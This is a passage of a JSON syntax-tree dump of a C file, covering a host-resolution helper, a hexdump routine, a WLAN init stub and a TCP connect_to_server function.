"binary_expression", "text": "he && he->h_addr_list", "parent": 181, "children": [183, 184, 185], "start_point": {"row": 45, "column": 5}, "end_point": {"row": 45, "column": 26}}, {"id": 183, "type": "identifier", "text": "he", "parent": 182, "children": [], "start_point": {"row": 45, "column": 5}, "end_point": {"row": 45, "column": 7}}, {"id": 184, "type": "&&", "text": "&&", "parent": 182, "children": [], "start_point": {"row": 45, "column": 8}, "end_point": {"row": 45, "column": 10}}, {"id": 185, "type": "field_expression", "text": "he->h_addr_list", "parent": 182, "children": [186, 187], "start_point": {"row": 45, "column": 11}, "end_point": {"row": 45, "column": 26}}, {"id": 186, "type": "identifier", "text": "he", "parent": 185, "children": [], "start_point": {"row": 45, "column": 11}, "end_point": {"row": 45, "column": 13}}, {"id": 187, "type": "field_identifier", "text": "h_addr_list", "parent": 185, "children": [], "start_point": {"row": 45, "column": 15}, "end_point": {"row": 45, "column": 26}}, {"id": 188, "type": "&&", "text": "&&", "parent": 181, "children": [], "start_point": {"row": 45, "column": 27}, "end_point": {"row": 45, "column": 29}}, {"id": 189, "type": "subscript_expression", "text": "he->h_addr_list[0]", "parent": 181, "children": [190, 193], "start_point": {"row": 45, "column": 30}, "end_point": {"row": 45, "column": 48}}, {"id": 190, "type": "field_expression", "text": "he->h_addr_list", "parent": 189, "children": [191, 192], "start_point": {"row": 45, "column": 30}, "end_point": {"row": 45, "column": 45}}, {"id": 191, "type": "identifier", "text": "he", "parent": 190, "children": [], "start_point": {"row": 45, "column": 30}, "end_point": {"row": 45, "column": 32}}, {"id": 192, "type": "field_identifier", "text": "h_addr_list", "parent": 190, "children": [], "start_point": {"row": 45, "column": 34}, "end_point": {"row": 45, "column": 45}}, {"id": 193, "type": "number_literal", "text": "0", "parent": 189, "children": [], "start_point": {"row": 45, "column": 46}, "end_point": {"row": 45, "column": 47}}, {"id": 194, "type": "assignment_expression", "text": "dest = ((struct in_addr *)(he->h_addr_list[0]))->s_addr", "parent": 179, "children": [195, 196, 197], "start_point": {"row": 46, "column": 2}, "end_point": {"row": 46, "column": 57}}, {"id": 195, "type": "identifier", "text": "dest", "parent": 194, "children": [], "start_point": {"row": 46, "column": 2}, "end_point": {"row": 46, "column": 6}}, {"id": 196, "type": "=", "text": "=", "parent": 194, "children": [], "start_point": {"row": 46, "column": 7}, "end_point": {"row": 46, "column": 8}}, {"id": 197, "type": "field_expression", "text": "((struct in_addr *)(he->h_addr_list[0]))->s_addr", "parent": 194, "children": [198, 212], "start_point": {"row": 46, "column": 9}, "end_point": {"row": 46, "column": 57}}, {"id": 198, "type": "parenthesized_expression", "text": "((struct in_addr *)(he->h_addr_list[0]))", "parent": 197, "children": [199], "start_point": {"row": 46, "column": 9}, "end_point": {"row": 46, "column": 49}}, {"id": 199, "type": "cast_expression", "text": "(struct in_addr *)(he->h_addr_list[0])", "parent": 198, "children": [200, 206], "start_point": {"row": 46, "column": 10}, "end_point": {"row": 46, "column": 48}}, {"id": 200, "type": "type_descriptor", "text": "struct in_addr *", "parent": 199, "children": [201, 204], "start_point": {"row": 46, "column": 11}, "end_point": {"row": 46, "column": 27}}, {"id": 201, "type": "struct_specifier", "text": "struct in_addr", "parent": 200, "children": [202, 203], "start_point": {"row": 46, "column": 11}, "end_point": {"row": 46, "column": 25}}, {"id": 202, "type": "struct", "text": "struct", "parent": 201, "children": [], "start_point": {"row": 46, "column": 11}, "end_point": {"row": 46, "column": 17}}, {"id": 203, "type": "type_identifier", "text": "in_addr", "parent": 201, "children": [], "start_point": {"row": 46, "column": 18}, "end_point": {"row": 46, "column": 25}}, {"id": 204, "type": "abstract_pointer_declarator", "text": "*", "parent": 200, "children": [205], "start_point": {"row": 46, "column": 26}, "end_point": {"row": 46, "column": 27}}, {"id": 205, "type": "*", "text": "*", "parent": 204, "children": [], "start_point": {"row": 46, "column": 26}, "end_point": {"row": 46, "column": 27}}, {"id": 206, "type": "parenthesized_expression", "text": "(he->h_addr_list[0])", "parent": 199, "children": [207], "start_point": {"row": 46, "column": 28}, "end_point": {"row": 46, "column": 48}}, {"id": 207, "type": "subscript_expression", "text": "he->h_addr_list[0]", "parent": 206, "children": [208, 211], "start_point": {"row": 46, "column": 29}, "end_point": {"row": 46, "column": 47}}, {"id": 208, "type": "field_expression", "text": "he->h_addr_list", "parent": 207, "children": [209, 210], "start_point": {"row": 46, "column": 29}, "end_point": {"row": 46, "column": 44}}, {"id": 209, "type": "identifier", "text": "he", "parent": 208, "children": [], "start_point": {"row": 46, "column": 29}, "end_point": {"row": 46, "column": 31}}, {"id": 210, "type": "field_identifier", "text": "h_addr_list", "parent": 208, "children": [], "start_point": {"row": 46, "column": 33}, "end_point": {"row": 46, "column": 44}}, {"id": 211, "type": "number_literal", "text": "0", "parent": 207, "children": [], "start_point": {"row": 46, "column": 45}, "end_point": {"row": 46, "column": 46}}, {"id": 212, "type": "field_identifier", "text": "s_addr", "parent": 197, "children": [], "start_point": {"row": 46, "column": 51}, "end_point": {"row": 46, "column": 57}}, {"id": 213, "type": "#endif", "text": "#endif", "parent": 132, "children": [], "start_point": {"row": 48, "column": 0}, "end_point": {"row": 48, "column": 6}}, {"id": 214, "type": "return_statement", "text": "return dest;", "parent": 116, "children": [215], "start_point": {"row": 49, "column": 1}, "end_point": {"row": 49, "column": 13}}, {"id": 215, "type": "identifier", "text": "dest", "parent": 214, "children": [], "start_point": {"row": 49, "column": 8}, "end_point": {"row": 49, "column": 12}}, {"id": 216, "type": "function_definition", "text": "void hexdump(void* ptr, int size) {\n\tint i;\n\tconst char* c = (char*) ptr;\n\tfor (i = 0; i < size; i++) {\n\t\tprintf(\"%02X%s\", c[i], (i+1) % 8 == 0 ? \"\\n\" : \" \");\n\t}\n}", "parent": null, "children": [217, 218], "start_point": {"row": 53, "column": 0}, "end_point": {"row": 59, "column": 1}}, {"id": 217, "type": "primitive_type", "text": "void", "parent": 216, "children": [], "start_point": {"row": 53, "column": 0}, "end_point": {"row": 53, "column": 4}}, {"id": 218, "type": "function_declarator", "text": "hexdump(void* ptr, int size)", "parent": 216, "children": [219, 220], "start_point": {"row": 53, "column": 5}, "end_point": {"row": 53, "column": 33}}, {"id": 219, "type": "identifier", "text": "hexdump", "parent": 218, "children": [], "start_point": {"row": 53, "column": 5}, "end_point": {"row": 53, "column": 12}}, {"id": 220, "type": "parameter_list", "text": "(void* ptr, int size)", "parent": 218, "children": [221, 226], "start_point": {"row": 53, "column": 12}, "end_point": {"row": 53, "column": 33}}, {"id": 221, "type": "parameter_declaration", "text": "void* ptr", "parent": 220, "children": [222, 223], "start_point": {"row": 53, "column": 13}, "end_point": {"row": 53, "column": 22}}, {"id": 222, "type": "primitive_type", "text": "void", "parent": 221, "children": [], "start_point": {"row": 53, "column": 13}, "end_point": {"row": 53, "column": 17}}, {"id": 223, "type": "pointer_declarator", "text": "* ptr", "parent": 221, "children": [224, 225], "start_point": {"row": 53, "column": 17}, "end_point": {"row": 53, "column": 22}}, {"id": 224, "type": "*", "text": "*", "parent": 223, "children": [], "start_point": {"row": 53, "column": 17}, "end_point": {"row": 53, "column": 18}}, {"id": 225, "type": "identifier", "text": "ptr", "parent": 223, "children": [], "start_point": {"row": 53, "column": 19}, "end_point": {"row": 53, "column": 22}}, {"id": 226, "type": "parameter_declaration", "text": "int size", "parent": 220, "children": [227, 228], "start_point": {"row": 53, "column": 24}, "end_point": {"row": 53, "column": 32}}, {"id": 227, "type": "primitive_type", "text": "int", "parent": 226, "children": [], "start_point": {"row": 53, "column": 24}, "end_point": {"row": 53, "column": 27}}, {"id": 228, "type": "identifier", "text": "size", "parent": 226, "children": [], "start_point": {"row": 53, "column": 28}, "end_point": {"row": 53, "column": 32}}, {"id": 229, "type": "declaration", "text": "int i;", "parent": 216, "children": [230, 231], "start_point": {"row": 54, "column": 1}, "end_point": {"row": 54, "column": 7}}, {"id": 230, "type": "primitive_type", "text": "int", "parent": 229, "children": [], "start_point": {"row": 54, "column": 1}, "end_point": {"row": 54, "column": 4}}, {"id": 231, "type": "identifier", "text": "i", "parent": 229, "children": [], "start_point": {"row": 54, "column": 5}, "end_point": {"row": 54, "column": 6}}, {"id": 232, "type": "declaration", "text": "const char* c = (char*) ptr;", "parent": 216, "children": [233, 234], "start_point": {"row": 55, "column": 1}, "end_point": {"row": 55, "column": 29}}, {"id": 233, "type": "primitive_type", "text": "char", "parent": 232, "children": [], "start_point": {"row": 55, "column": 7}, "end_point": {"row": 55, "column": 11}}, {"id": 234, "type": "init_declarator", "text": "* c = (char*) ptr", "parent": 232, "children": [235, 238, 239], "start_point": {"row": 55, "column": 11}, "end_point": {"row": 55, "column": 28}}, {"id": 235, "type": "pointer_declarator", "text": "* c", "parent": 234, "children": [236, 237], "start_point": {"row": 55, "column": 11}, "end_point": {"row": 55, "column": 14}}, {"id": 236, "type": "*", "text": "*", "parent": 235, "children": [], "start_point": {"row": 55, "column": 11}, "end_point": {"row": 55, "column": 12}}, {"id": 237, "type": "identifier", "text": "c", "parent": 235, "children": [], "start_point": {"row": 55, "column": 13}, "end_point": {"row": 55, "column": 14}}, {"id": 238, "type": "=", "text": "=", "parent": 234, "children": [], "start_point": {"row": 55, "column": 15}, "end_point": {"row": 55, "column": 16}}, {"id": 239, "type": "cast_expression", "text": "(char*) ptr", "parent": 234, "children": [240, 244], "start_point": {"row": 55, "column": 17}, "end_point": {"row": 55, "column": 28}}, {"id": 240, "type": "type_descriptor", "text": "char*", "parent": 239, "children": [241, 242], "start_point": {"row": 55, "column": 18}, "end_point": {"row": 55, "column": 23}}, {"id": 241, "type": "primitive_type", "text": "char", "parent": 240, "children": [], "start_point": {"row": 55, "column": 18}, "end_point": {"row": 55, "column": 22}}, {"id": 242, "type": "abstract_pointer_declarator", "text": "*", "parent": 240, "children": [243], "start_point": {"row": 55, "column": 22}, "end_point": {"row": 55, "column": 23}}, {"id": 243, "type": "*", "text": "*", "parent": 242, "children": [], "start_point": {"row": 55, "column": 22}, "end_point": {"row": 55, "column": 23}}, {"id": 244, "type": "identifier", "text": "ptr", "parent": 239, "children": [], "start_point": {"row": 55, "column": 25}, "end_point": {"row": 55, "column": 28}}, {"id": 245, "type": "for_statement", "text": "for (i = 0; i < size; i++) {\n\t\tprintf(\"%02X%s\", c[i], (i+1) % 8 == 0 ? \"\\n\" : \" \");\n\t}", "parent": 216, "children": [246, 250, 254], "start_point": {"row": 56, "column": 1}, "end_point": {"row": 58, "column": 2}}, {"id": 246, "type": "assignment_expression", "text": "i = 0", "parent": 245, "children": [247, 248, 249], "start_point": {"row": 56, "column": 6}, "end_point": {"row": 56, "column": 11}}, {"id": 247, "type": "identifier", "text": "i", "parent": 246, "children": [], "start_point": {"row": 56, "column": 6}, "end_point": {"row": 56, "column": 7}}, {"id": 248, "type": "=", "text": "=", "parent": 246, "children": [], "start_point": {"row": 56, "column": 8}, "end_point": {"row": 56, "column": 9}}, {"id": 249, "type": "number_literal", "text": "0", "parent": 246, "children": [], "start_point": {"row": 56, "column": 10}, "end_point": {"row": 56, "column": 11}}, {"id": 250, "type": "binary_expression", "text": "i < size", "parent": 245, "children": [251, 252, 253], "start_point": {"row": 56, "column": 13}, "end_point": {"row": 56, "column": 21}}, {"id": 251, "type": "identifier", "text": "i", "parent": 250, "children": [], "start_point": {"row": 56, "column": 13}, "end_point": {"row": 56, "column": 14}}, {"id": 252, "type": "<", "text": "<", "parent": 250, "children": [], "start_point": {"row": 56, "column": 15}, "end_point": {"row": 56, "column": 16}}, {"id": 253, "type": "identifier", "text": "size", "parent": 250, "children": [], "start_point": {"row": 56, "column": 17}, "end_point": {"row": 56, "column": 21}}, {"id": 254, "type": "update_expression", "text": "i++", "parent": 245, "children": [255, 256], "start_point": {"row": 56, "column": 23}, "end_point": {"row": 56, "column": 26}}, {"id": 255, "type": "identifier", "text": "i", "parent": 254, "children": [], "start_point": {"row": 56, "column": 23}, "end_point": {"row": 56, "column": 24}}, {"id": 256, "type": "++", "text": "++", "parent": 254, "children": [], "start_point": {"row": 56, "column": 24}, "end_point": {"row": 56, "column": 26}}, {"id": 257, "type": "call_expression", "text": "printf(\"%02X%s\", c[i], (i+1) % 8 == 0 ? \"\\n\" : \" \")", "parent": 245, "children": [258, 259], "start_point": {"row": 57, "column": 2}, "end_point": {"row": 57, "column": 53}}, {"id": 258, "type": "identifier", "text": "printf", "parent": 257, "children": [], "start_point": {"row": 57, "column": 2}, "end_point": {"row": 57, "column": 8}}, {"id": 259, "type": "argument_list", "text": "(\"%02X%s\", c[i], (i+1) % 8 == 0 ? \"\\n\" : \" \")", "parent": 257, "children": [260, 261, 264], "start_point": {"row": 57, "column": 8}, "end_point": {"row": 57, "column": 53}}, {"id": 260, "type": "string_literal", "text": "\"%02X%s\"", "parent": 259, "children": [], "start_point": {"row": 57, "column": 9}, "end_point": {"row": 57, "column": 17}}, {"id": 261, "type": "subscript_expression", "text": "c[i]", "parent": 259, "children": [262, 263], "start_point": {"row": 57, "column": 19}, "end_point": {"row": 57, "column": 23}}, {"id": 262, "type": "identifier", "text": "c", "parent": 261, "children": [], "start_point": {"row": 57, "column": 19}, "end_point": {"row": 57, "column": 20}}, {"id": 263, "type": "identifier", "text": "i", "parent": 261, "children": [], "start_point": {"row": 57, "column": 21}, "end_point": {"row": 57, "column": 22}}, {"id": 264, "type": "conditional_expression", "text": "(i+1) % 8 == 0 ? \"\\n\" : \" \"", "parent": 259, "children": [265, 276, 277, 279], "start_point": {"row": 57, "column": 25}, "end_point": {"row": 57, "column": 52}}, {"id": 265, "type": "binary_expression", "text": "(i+1) % 8 == 0", "parent": 264, "children": [266, 274, 275], "start_point": {"row": 57, "column": 25}, "end_point": {"row": 57, "column": 39}}, {"id": 266, "type": "binary_expression", "text": "(i+1) % 8", "parent": 265, "children": [267, 272, 273], "start_point": {"row": 57, "column": 25}, "end_point": {"row": 57, "column": 34}}, {"id": 267, "type": "parenthesized_expression", "text": "(i+1)", "parent": 266, "children": [268], "start_point": {"row": 57, "column": 25}, "end_point": {"row": 57, "column": 30}}, {"id": 268, "type": "binary_expression", "text": "i+1", "parent": 267, "children": [269, 270, 271], "start_point": {"row": 57, "column": 26}, "end_point": {"row": 57, "column": 29}}, {"id": 269, "type": "identifier", "text": "i", "parent": 268, "children": [], "start_point": {"row": 57, "column": 26}, "end_point": {"row": 57, "column": 27}}, {"id": 270, "type": "+", "text": "+", "parent": 268, "children": [], "start_point": {"row": 57, "column": 27}, "end_point": {"row": 57, "column": 28}}, {"id": 271, "type": "number_literal", "text": "1", "parent": 268, "children": [], "start_point": {"row": 57, "column": 28}, "end_point": {"row": 57, "column": 29}}, {"id": 272, "type": "%", "text": "%", "parent": 266, "children": [], "start_point": {"row": 57, "column": 31}, "end_point": {"row": 57, "column": 32}}, {"id": 273, "type": "number_literal", "text": "8", "parent": 266, "children": [], "start_point": {"row": 57, "column": 33}, "end_point": {"row": 57, "column": 34}}, {"id": 274, "type": "==", "text": "==", "parent": 265, "children": [], "start_point": {"row": 57, "column": 35}, "end_point": {"row": 57, "column": 37}}, {"id": 275, "type": "number_literal", "text": "0", "parent": 265, "children": [], "start_point": {"row": 57, "column": 38}, "end_point": {"row": 57, "column": 39}}, {"id": 276, "type": "?", "text": "?", "parent": 264, "children": [], "start_point": {"row": 57, "column": 40}, "end_point": {"row": 57, "column": 41}}, {"id": 277, "type": "string_literal", "text": "\"\\n\"", "parent": 264, "children": [278], "start_point": {"row": 57, "column": 42}, "end_point": {"row": 57, "column": 46}}, {"id": 278, "type": "escape_sequence", "text": "\\n", "parent": 277, "children": [], "start_point": {"row": 57, "column": 43}, "end_point": {"row": 57, "column": 45}}, {"id": 279, "type": "string_literal", "text": "\" \"", "parent": 264, "children": [], "start_point": {"row": 57, "column": 49}, "end_point": {"row": 57, "column": 52}}, {"id": 280, "type": "preproc_ifdef", "text": "#ifdef CONFIG_HAS_CC3220SDK\nvoid wlan_init(void);\n#else // CONFIG_HAS_CC3220SDK\nvoid wlan_init(void) {}\n#endif", "parent": null, "children": [281, 282, 283, 290, 299], "start_point": {"row": 62, "column": 0}, "end_point": {"row": 66, "column": 6}}, {"id": 281, "type": "#ifdef", "text": "#ifdef", "parent": 280, "children": [], "start_point": {"row": 62, "column": 0}, "end_point": {"row": 62, "column": 6}}, {"id": 282, "type": "identifier", "text": "CONFIG_HAS_CC3220SDK", "parent": 280, "children": [], "start_point": {"row": 62, "column": 7}, "end_point": {"row": 62, "column": 27}}, {"id": 283, "type": "declaration", "text": "void wlan_init(void);", "parent": 280, "children": [284, 285], "start_point": {"row": 63, "column": 0}, "end_point": {"row": 63, "column": 21}}, {"id": 284, "type": "primitive_type", "text": "void", "parent": 283, "children": [], "start_point": {"row": 63, "column": 0}, "end_point": {"row": 63, "column": 4}}, {"id": 285, "type": "function_declarator", "text": "wlan_init(void)", "parent": 283, "children": [286, 287], "start_point": {"row": 63, "column": 5}, "end_point": {"row": 63, "column": 20}}, {"id": 286, "type": "identifier", "text": "wlan_init", "parent": 285, "children": [], "start_point": {"row": 63, "column": 5}, "end_point": {"row": 63, "column": 14}}, {"id": 287, "type": "parameter_list", "text": "(void)", "parent": 285, "children": [288], "start_point": {"row": 63, "column": 14}, "end_point": {"row": 63, "column": 20}}, {"id": 288, "type": "parameter_declaration", "text": "void", "parent": 287, "children": [289], "start_point": {"row": 63, "column": 15}, "end_point": {"row": 63, "column": 19}}, {"id": 289, "type": "primitive_type", "text": "void", "parent": 288, "children": [], "start_point": {"row": 63, "column": 15}, "end_point": {"row": 63, "column": 19}}, {"id": 290, "type": "preproc_else", "text": "#else // CONFIG_HAS_CC3220SDK\nvoid wlan_init(void) {}", "parent": 280, "children": [291, 292], "start_point": {"row": 64, "column": 0}, "end_point": {"row": 65, "column": 23}}, {"id": 291, "type": "#else", "text": "#else", "parent": 290, "children": [], "start_point": {"row": 64, "column": 0}, "end_point": {"row": 64, "column": 5}}, {"id": 292, "type": "function_definition", "text": "void wlan_init(void) {}", "parent": 290, "children": [293, 294], "start_point": {"row": 65, "column": 0}, "end_point": {"row": 65, "column": 23}}, {"id": 293, "type": "primitive_type", "text": "void", "parent": 292, "children": [], "start_point": {"row": 65, "column": 0}, "end_point": {"row": 65, "column": 4}}, {"id": 294, "type": "function_declarator", "text": "wlan_init(void)", "parent": 292, "children": [295, 296], "start_point": {"row": 65, "column": 5}, "end_point": {"row": 65, "column": 20}}, {"id": 295, "type": "identifier", "text": "wlan_init", "parent": 294, "children": [], "start_point": {"row": 65, "column": 5}, "end_point": {"row": 65, "column": 14}}, {"id": 296, "type": "parameter_list", "text": "(void)", "parent": 294, "children": [297], "start_point": {"row": 65, "column": 14}, "end_point": {"row": 65, "column": 20}}, {"id": 297, "type": "parameter_declaration", "text": "void", "parent": 296, "children": [298], "start_point": {"row": 65, "column": 15}, "end_point": {"row": 65, "column": 19}}, {"id": 298, "type": "primitive_type", "text": "void", "parent": 297, "children": [], "start_point": {"row": 65, "column": 15}, "end_point": {"row": 65, "column": 19}}, {"id": 299, "type": "#endif", "text": "#endif", "parent": 280, "children": [], "start_point": {"row": 66, "column": 0}, "end_point": {"row": 66, "column": 6}}, {"id": 300, "type": "function_definition", "text": "int connect_to_server(const char* name, uint16_t port)\n{\n int ret, host;\n struct sockaddr_in server_addr;\n\n int fd = socket(AF_INET, SOCK_STREAM, 0);\n if (fd < 0) {\n perror(\"socket\");\n }\n\n host = resolve_host_addr(name);\n\n memset(&server_addr, 0, sizeof(server_addr));\n server_addr.sin_family = AF_INET;\n server_addr.sin_port = htons(port);\n server_addr.sin_addr.s_addr = host;\n\n ret = connect(fd, (const struct sockaddr*)&server_addr,\n sizeof(server_addr));\n if (ret < 0) {\n perror(\"connect\");\n }\n return fd;\n}", "parent": null, "children": [301, 302], "start_point": {"row": 68, "column": 0}, "end_point": {"row": 91, "column": 1}}, {"id": 301, "type": "primitive_type", "text": "int", "parent": 300, "children": [], "start_point": {"row": 68, "column": 0}, "end_point": {"row": 68, "column": 3}}, {"id": 302, "type": "function_declarator", "text": "connect_to_server(const char* name, uint16_t port)", "parent": 300, "children": [303, 304], "start_point": {"row": 68, "column": 4}, "end_point": {"row": 68, "column": 54}}, {"id": 303, "type": "identifier", "text": "connect_to_server", "parent": 302, "children": [], "start_point": {"row": 68, "column": 4}, "end_point": {"row": 68, "column": 21}}, {"id": 304, "type": "parameter_list", "text": "(const char* name, uint16_t port)", "parent": 302, "children": [305, 310], "start_point": {"row": 68, "column": 21}, "end_point": {"row": 68, "column": 54}}, {"id": 305, "type": "parameter_declaration", "text": "const char* name", "parent": 304, "children": [306, 307], "start_point": {"row": 68, "column": 22}, "end_point": {"row": 68, "column": 38}}, {"id": 306, "type": "primitive_type", "text": "char", "parent": 305, "children": [], "start_point": {"row": 68, "column": 28}, "end_point": {"row": 68, "column": 32}}, {"id": 307, "type": "pointer_declarator", "text": "* name", "parent": 305, "children": [308, 309], "start_point": {"row": 68, "column": 32}, "end_point": {"row": 68, "column": 38}}, {"id": 308, "type": "*", "text": "*", "parent": 307, "children": [], "start_point": {"row": 68, "column": 32}, "end_point": {"row": 68, "column": 33}}, {"id": 309, "type": "identifier", "text": "name", "parent": 307, "children": [], "start_point": {"row": 68, "column": 34}, "end_point": {"row": 68, "column": 38}}, {"id": 310, "type": "parameter_declaration", "text": "uint16_t port", "parent": 304, "children": [311, 312], "start_point": {"row": 68, "column": 40}, "end_point": {"row": 68, "column": 53}}, {"id": 311, "type": "primitive_type", "text": "uint16_t", "parent": 310, "children": [], "start_point": {"row": 68, "column": 40}, "end_point": {"row": 68, "column": 48}}, {"id": 312, "type": "identifier", "text": "port", "parent": 310, "children": [], "start_point": {"row": 68, "column": 49}, "end_point": {"row": 68, "column": 53}}, {"id": 313, "type": "declaration", "text": "int ret, host;", "parent": 300, "children": [314, 315, 316], "start_point": {"row": 70, "column": 4}, "end_point": {"row": 70, "column": 18}}, {"id": 314, "type": "primitive_type", "text": "int", "parent": 313, "children": [], "start_point": {"row": 70, "column": 4}, "end_point": {"row": 70, "column": 7}}, {"id": 315, "type": "identifier", "text": "ret", "parent": 313, "children": [], "start_point": {"row": 70, "column": 8}, "end_point": {"row": 70, "column": 11}}, {"id": 316, "type": "identifier", "text": "host", "parent": 313, "children": [], "start_point": {"row": 70, "column": 13}, "end_point": {"row": 70, "column": 17}}, {"id": 317, "type": "declaration", "text": "struct sockaddr_in server_addr;", "parent": 300, "children": [318, 321], "start_point": {"row": 71, "column": 4}, "end_point": {"row": 71, "column": 35}}, {"id": 318, "type": "struct_specifier", "text": "struct sockaddr_in", "parent": 317, "children": [319, 320], "start_point": {"row": 71, "column": 4}, "end_point": {"row": 71, "column": 22}}, {"id": 319, "type": "struct", "text": "struct", "parent": 318, "children": [], "start_point": {"row": 71, "column": 4}, "end_point": {"row": 71, "column": 10}}, {"id": 320, "type": "type_identifier", "text": "sockaddr_in", "parent": 318, "children": [], "start_point": {"row": 71, "column": 11}, "end_point": {"row": 71, "column": 22}}, {"id": 321, "type": "identifier", "text": "server_addr", "parent": 317, "children": [], "start_point": {"row": 71, "column": 23}, "end_point": {"row": 71, "column": 34}}, {"id": 322, "type": "declaration", "text": "int fd = socket(AF_INET, SOCK_STREAM, 0);", "parent": 300, "children": [323, 324], "start_point": {"row": 73, "column": 4}, "end_point": {"row": 73, "column": 45}}, {"id": 323, "type": "primitive_type", "text": "int", "parent": 322, "children": [], "start_point": {"row": 73, "column": 4}, "end_point": {"row": 73, "column": 7}}, {"id": 324, "type": "init_declarator", "text": "fd = socket(AF_INET, SOCK_STREAM, 0)", "parent": 322, "children": [325, 326, 327], "start_point": {"row": 73, "column": 8}, "end_point": {"row": 73, "column": 44}}, {"id": 325, "type": "identifier", "text": "fd", "parent": 324, "children": [], "start_point": {"row": 73, "column": 8}, "end_point": {"row": 73, "column": 10}}, {"id": 326, "type": "=", "text": "=", "parent": 324, "children": [], "start_point": {"row": 73, "column": 11}, "end_point": {"row": 73, "column": 12}}, {"id": 327, "type": "call_expression", "text": "socket(AF_INET, SOCK_STREAM, 0)", "parent": 324, "children": [328, 329], "start_point": {"row": 73, "column": 13}, "end_point": {"row": 73, "column": 44}}, {"id": 328, "type": "identifier", "text": "socket", "parent": 327, "children": [], "start_point": {"row": 73, "column": 13}, "end_point": {"row": 73, "column": 19}}, {"id": 329, "type": "argument_list", "text": "(AF_INET, SOCK_STREAM, 0)", "parent": 327, "children": [330, 331, 332], "start_point": {"row": 73, "column": 19}, "end_point": {"row": 73, "column": 44}}, {"id": 330, "type": "identifier", "text": "AF_INET", "parent": 329, "children": [], "start_point": {"row": 73, "column": 20}, "end_point": {"row": 73, "column": 27}}, {"id": 331, "type": "identifier", "text": "SOCK_STREAM", "parent": 329, "children": [], "start_point": {"row": 73, "column": 29}, "end_point": {"row": 73, "column": 40}}, {"id": 332, "type": "number_literal", "text": "0", "parent": 329, "children": [], "start_point": {"row": 73, "column": 42}, "end_point": {"row": 73, "column": 43}}, {"id": 333, "type": "if_statement", "text": "if (fd < 0) {\n perror(\"socket\");\n }", "parent": 300, "children": [334], "start_point": {"row": 74, "column": 4}, "end_point": {"row": 76, "column": 5}}, {"id": 334, "type": "parenthesized_expression", "text": "(fd < 0)", "parent": 333, "children": [335], "start_point": {"row": 74, "column": 7}, "end_point": {"row": 74, "column": 15}}, {"id": 335, "type": "binary_expression", "text": "fd < 0", "parent": 334, "children": [336, 337, 338], "start_point": {"row": 74, "column": 8}, "end_point": {"row": 74, "column": 14}}, {"id": 336, "type": "identifier", "text": "fd", "parent": 335, "children": [], "start_point": {"row": 74, "column": 8}, "end_point": {"row": 74, "column": 10}}, {"id": 337, "type": "<", "text": "<", "parent": 335, "children": [], "start_point": {"row": 74, "column": 11}, "end_point": {"row": 74, "column": 12}}, {"id": 338, "type": "number_literal", "text": "0", "parent": 335, "children": [], "start_point": {"row": 74, "column": 13}, "end_point": {"row": 74, "column": 14}}, {"id": 339, "type": "call_expression", "text": "perror(\"socket\")", "parent": 333, "children": [340, 341], "start_point": {"row": 75, "column": 8}, "end_point": {"row": 75, "column": 24}}, {"id": 340, "type": "identifier", "text": "perror", "parent": 339, "children": [], "start_point": {"row": 75, "column": 8}, "end_point": {"row": 75, "column": 14}}, {"id": 341, "type": "argument_list", "text": "(\"socket\")", "parent": 339, "children": [342], "start_point": {"row": 75, "column": 14}, "end_point": {"row": 75, "column": 24}}, {"id": 342, "type": "string_literal", "text": "\"socket\"", "parent": 341, "children": [], "start_point": {"row": 75, "column": 15}, "end_point": {"row": 75, "column": 23}}, {"id": 343, "type": "assignment_expression", "text": "host = resolve_host_addr(name)", "parent": 300, "children": [344, 345, 346], "start_point": {"row": 78, "column": 4}, "end_point": {"row": 78, "column": 34}}, {"id": 344, "type": "identifier", "text": "host", "parent": 343, "children": [], "start_point": {"row": 78, "column": 4}, "end_point": {"row": 78, "column": 8}}, {"id": 345, "type": "=", "text": "=", "parent": 343, "children": [], "start_point": {"row": 78, "column": 9}, "end_point": {"row": 78, "column": 10}}, {"id": 346, "type": "call_expression", "text": "resolve_host_addr(name)", "parent": 343, "children": [347, 348], "start_point": {"row": 78, "column": 11}, "end_point": {"row": 78, "column": 34}}, {"id": 347, "type": "identifier", "text": "resolve_host_addr", "parent": 346, "children": [], "start_point": {"row": 78, "column": 11}, "end_point": {"row": 78, "column": 28}}, {"id": 348, "type": "argument_list", "text": "(name)", "parent": 346, "children": [349], "start_point": {"row": 78, "column": 28}, "end_point": {"row": 78, "column": 34}}, {"id": 349, "type": "identifier", "text": "name", "parent": 348, "children": [], "start_point": {"row": 78, "column": 29}, "end_point": {"row": 78, "column": 33}}, {"id": 350, "type": "call_expression", "text": "memset(&server_addr, 0, sizeof(server_addr))", "parent": 300, "children": [351, 352], "start_point": {"row": 80, "column": 4}, "end_point": {"row": 80, "column": 48}}, {"id": 351, "type": "identifier", "text": "memset", "parent": 350, "children": [], "start_point": {"row": 80, "column": 4}, "end_point": {"row": 80, "column": 10}}, {"id": 352, "type": "argument_list", "text": "(&server_addr, 0, sizeof(server_addr))", "parent": 350, "children": [353, 355, 356], "start_point": {"row": 80, "column": 10}, "end_point": {"row": 80, "column": 48}}, {"id": 353, "type": "pointer_expression", "text": "&server_addr", "parent": 352, "children": [354], "start_point": {"row": 80, "column": 11}, "end_point": {"row": 80, "column": 23}}, {"id": 354, "type": "identifier", "text": "server_addr", "parent": 353, "children": [], "start_point": {"row": 80, "column": 12}, "end_point": {"row": 80, "column": 23}}, {"id": 355, "type": "number_literal", "text": "0", "parent": 352, "children": [], "start_point": {"row": 80, "column": 25}, "end_point": {"row": 80, "column": 26}}, {"id": 356, "type": "sizeof_expression", "text": "sizeof(server_addr)", "parent": 352, "children": [357], "start_point": {"row": 80, "column": 28}, "end_point": {"row": 80, "column": 47}}, {"id": 357, "type": "parenthesized_expression", "text": "(server_addr)", "parent": 356, "children": [358], "start_point": {"row": 80, "column": 34}, "end_point": {"row": 80, "column": 47}}, {"id": 358, "type": "identifier", "text": "server_addr", "parent": 357, "children": [], "start_point": {"row": 80, "column": 35}, "end_point": {"row": 80, "column": 46}}, {"id": 359, "type": "assignment_expression", "text": "server_addr.sin_family = AF_INET", "parent": 300, "children": [360, 363, 364], "start_point": {"row": 81, "column": 4}, "end_point": {"row": 81, "column": 36}}, {"id": 360, "type": "field_expression", "text": "server_addr.sin_family", "parent": 359, "children": [361, 362], "start_point": {"row": 81, "column": 4}, "end_point": {"row": 81, "column": 26}}, {"id": 361, "type": "identifier", "text": "server_addr", "parent": 360, "children": [], "start_point": {"row": 81, "column": 4}, "end_point": {"row": 81, "column": 15}}, {"id": 362, "type": "field_identifier", "text": "sin_family", "parent": 360, "children": [], "start_point": {"row": 81, "column": 16}, "end_point": {"row": 81, "column": 26}}, {"id": 363, "type": 